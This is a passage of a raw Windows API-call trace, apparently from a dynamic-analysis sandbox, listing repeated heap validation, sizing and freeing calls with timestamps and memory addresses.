0x1685a9b0000 [0133.533] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b3870) returned 1 [0133.533] GetProcessHeap () returned 0x1685a9b0000 [0133.533] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b3870) returned 0xa0 [0133.534] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b3870) returned 1 [0133.534] GetProcessHeap () returned 0x1685a9b0000 [0133.534] GetProcessHeap () returned 0x1685a9b0000 [0133.534] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4c50) returned 1 [0133.534] GetProcessHeap () returned 0x1685a9b0000 [0133.534] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4c50) returned 0x18 [0133.534] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4c50) returned 1 [0133.534] GetProcessHeap () returned 0x1685a9b0000 [0133.534] GetProcessHeap () returned 0x1685a9b0000 [0133.534] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb7a0) returned 1 [0133.535] GetProcessHeap () returned 0x1685a9b0000 [0133.535] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb7a0) returned 0x20 [0133.535] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb7a0) returned 1 [0133.535] GetProcessHeap () returned 0x1685a9b0000 [0133.535] GetProcessHeap () returned 0x1685a9b0000 [0133.535] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4730) returned 1 [0133.535] GetProcessHeap () returned 0x1685a9b0000 [0133.535] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4730) returned 0x56 [0133.536] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4730) returned 1 [0133.536] GetProcessHeap () returned 0x1685a9b0000 [0133.536] GetProcessHeap () returned 0x1685a9b0000 [0133.536] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baa60) returned 1 [0133.536] GetProcessHeap () returned 0x1685a9b0000 [0133.536] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baa60) returned 0x18 [0133.536] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baa60) returned 1 [0133.536] GetProcessHeap () returned 0x1685a9b0000 [0133.536] GetProcessHeap () returned 0x1685a9b0000 [0133.537] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb830) returned 1 [0133.537] GetProcessHeap () returned 0x1685a9b0000 [0133.537] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb830) returned 0x20 [0133.537] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb830) returned 1 [0133.537] GetProcessHeap () returned 0x1685a9b0000 [0133.537] GetProcessHeap () returned 0x1685a9b0000 [0133.537] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b3b40) returned 1 [0133.537] GetProcessHeap () returned 0x1685a9b0000 [0133.537] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b3b40) returned 0x58 [0133.538] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b3b40) returned 1 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baa40) returned 1 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baa40) returned 0x18 [0133.538] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baa40) returned 1 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8f60) returned 1 [0133.538] GetProcessHeap () returned 0x1685a9b0000 [0133.538] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8f60) returned 0x20 [0133.539] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8f60) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b47b0) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b47b0) returned 0xe [0133.539] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b47b0) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4790) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4790) returned 0x18 [0133.539] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4790) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8f30) returned 1 [0133.539] GetProcessHeap () returned 0x1685a9b0000 [0133.539] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8f30) returned 0x20 [0133.540] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8f30) returned 1 [0133.540] GetProcessHeap () returned 0x1685a9b0000 [0133.540] GetProcessHeap () returned 0x1685a9b0000 [0133.540] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b9b10) returned 1 [0133.540] GetProcessHeap () returned 0x1685a9b0000 [0133.540] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b9b10) returned 0x208 [0133.541] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b9b10) returned 1 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4c30) returned 1 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4c30) returned 0x18 [0133.544] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4c30) returned 1 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b9170) returned 1 [0133.544] GetProcessHeap () returned 0x1685a9b0000 [0133.544] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b9170) returned 0x20 [0133.545] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b9170) returned 1 [0133.545] GetProcessHeap () returned 0x1685a9b0000 [0133.545] GetProcessHeap () returned 0x1685a9b0000 [0133.545] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbb40) returned 1 [0133.545] GetProcessHeap () returned 0x1685a9b0000 [0133.545] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbb40) returned 0x200 [0133.546] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbb40) returned 1 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4c70) returned 1 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4c70) returned 0x18 [0133.546] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4c70) returned 1 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8ea0) returned 1 [0133.546] GetProcessHeap () returned 0x1685a9b0000 [0133.546] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8ea0) returned 0x20 [0133.547] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8ea0) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b43b0) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b43b0) returned 0x14 [0133.547] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b43b0) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4390) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4390) returned 0x18 [0133.547] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4390) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b90e0) returned 1 [0133.547] GetProcessHeap () returned 0x1685a9b0000 [0133.547] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b90e0) returned 0x20 [0133.548] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b90e0) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b46c0) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b46c0) returned 0x16 [0133.548] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b46c0) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4350) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4350) returned 0x18 [0133.548] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4350) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8f90) returned 1 [0133.548] GetProcessHeap () returned 0x1685a9b0000 [0133.548] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8f90) returned 0x20 [0133.549] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8f90) returned 1 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4ed0) returned 1 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4ed0) returned 0x2 [0133.549] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4ed0) returned 1 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4840) returned 1 [0133.549] GetProcessHeap () returned 0x1685a9b0000 [0133.549] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4840) returned 0x20 [0133.550] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4840) returned 1 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4890) returned 1 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4890) returned 0x20 [0133.550] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4890) returned 1 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b48c0) returned 1 [0133.550] GetProcessHeap () returned 0x1685a9b0000 [0133.550] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b48c0) returned 0x20 [0133.551] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b48c0) returned 1 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4430) returned 1 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4430) returned 0x20 [0133.551] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4430) returned 1 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbaa0) returned 1 [0133.551] GetProcessHeap () returned 0x1685a9b0000 [0133.551] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbaa0) returned 0x20 [0133.552] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbaa0) returned 1 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9babc0) returned 1 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9babc0) returned 0xe [0133.552] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9babc0) returned 1 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb620) returned 1 [0133.552] GetProcessHeap () returned 0x1685a9b0000 [0133.552] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb620) returned 0x20 [0133.553] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb620) returned 1 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b3920) returned 1 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b3920) returned 0x30 [0133.553] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b3920) returned 1 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb8f0) returned 1 [0133.553] GetProcessHeap () returned 0x1685a9b0000 [0133.553] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb8f0) returned 0x20 [0133.554] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb8f0) returned 1 [0133.554] GetProcessHeap () returned 0x1685a9b0000 [0133.554] GetProcessHeap () returned 0x1685a9b0000 [0133.555] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b46f0) returned 1 [0133.555] GetProcessHeap () returned 0x1685a9b0000 [0133.555] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b46f0) returned 0x30 [0133.555] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b46f0) returned 1 [0133.555] GetProcessHeap () returned 0x1685a9b0000 [0133.555] GetProcessHeap () returned 0x1685a9b0000 [0133.555] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb3e0) returned 1 [0133.555] GetProcessHeap () returned 0x1685a9b0000 [0133.555] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb3e0) returned 0x20 [0133.556] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb3e0) returned 1 [0133.561] GetProcessHeap () returned 0x1685a9b0000 [0133.561] GetProcessHeap () returned 0x1685a9b0000 [0133.561] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baa20) returned 1 [0133.561] GetProcessHeap () returned 0x1685a9b0000 [0133.561] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baa20) returned 0xe [0133.561] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baa20) returned 1 [0133.561] GetProcessHeap () returned 0x1685a9b0000 [0133.562] GetProcessHeap () returned 0x1685a9b0000 [0133.562] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb680) returned 1 [0133.562] GetProcessHeap () returned 0x1685a9b0000 [0133.562] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb680) returned 0x20 [0133.563] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb680) returned 1 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba960) returned 1 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba960) returned 0x16 [0133.563] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba960) returned 1 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb920) returned 1 [0133.563] GetProcessHeap () returned 0x1685a9b0000 [0133.563] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb920) returned 0x20 [0133.564] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb920) returned 1 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baaa0) returned 1 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baaa0) returned 0x16 [0133.564] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baaa0) returned 1 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb410) returned 1 [0133.564] GetProcessHeap () returned 0x1685a9b0000 [0133.564] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb410) returned 0x20 [0133.565] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb410) returned 1 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9d58b0) returned 1 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9d58b0) returned 0x82 [0133.565] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9d58b0) returned 1 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb6b0) returned 1 [0133.565] GetProcessHeap () returned 0x1685a9b0000 [0133.565] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb6b0) returned 0x20 [0133.566] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb6b0) returned 1 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba980) returned 1 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba980) returned 0xe [0133.566] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba980) returned 1 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbb00) returned 1 [0133.566] GetProcessHeap () returned 0x1685a9b0000 [0133.566] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbb00) returned 0x20 [0133.567] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbb00) returned 1 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba8e0) returned 1 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba8e0) returned 0xa [0133.567] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba8e0) returned 1 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb800) returned 1 [0133.567] GetProcessHeap () returned 0x1685a9b0000 [0133.567] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb800) returned 0x20 [0133.568] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb800) returned 1 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9baae0) returned 1 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9baae0) returned 0xc [0133.568] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9baae0) returned 1 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb950) returned 1 [0133.568] GetProcessHeap () returned 0x1685a9b0000 [0133.568] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb950) returned 0x20 [0133.569] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb950) returned 1 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4870) returned 1 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4870) returned 0x18 [0133.569] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4870) returned 1 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8fc0) returned 1 [0133.569] GetProcessHeap () returned 0x1685a9b0000 [0133.569] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8fc0) returned 0x20 [0133.570] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8fc0) returned 1 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b90b0) returned 1 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b90b0) returned 0x20 [0133.570] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b90b0) returned 1 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8e70) returned 1 [0133.570] GetProcessHeap () returned 0x1685a9b0000 [0133.570] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8e70) returned 0x20 [0133.571] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8e70) returned 1 [0133.571] GetProcessHeap () returned 0x1685a9b0000 [0133.571] GetProcessHeap () returned 0x1685a9b0000 [0133.571] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8ff0) returned 1 [0133.571] GetProcessHeap () returned 0x1685a9b0000 [0133.571] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8ff0) returned 0x20 [0133.572] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8ff0) returned 1 [0133.572] GetProcessHeap () returned 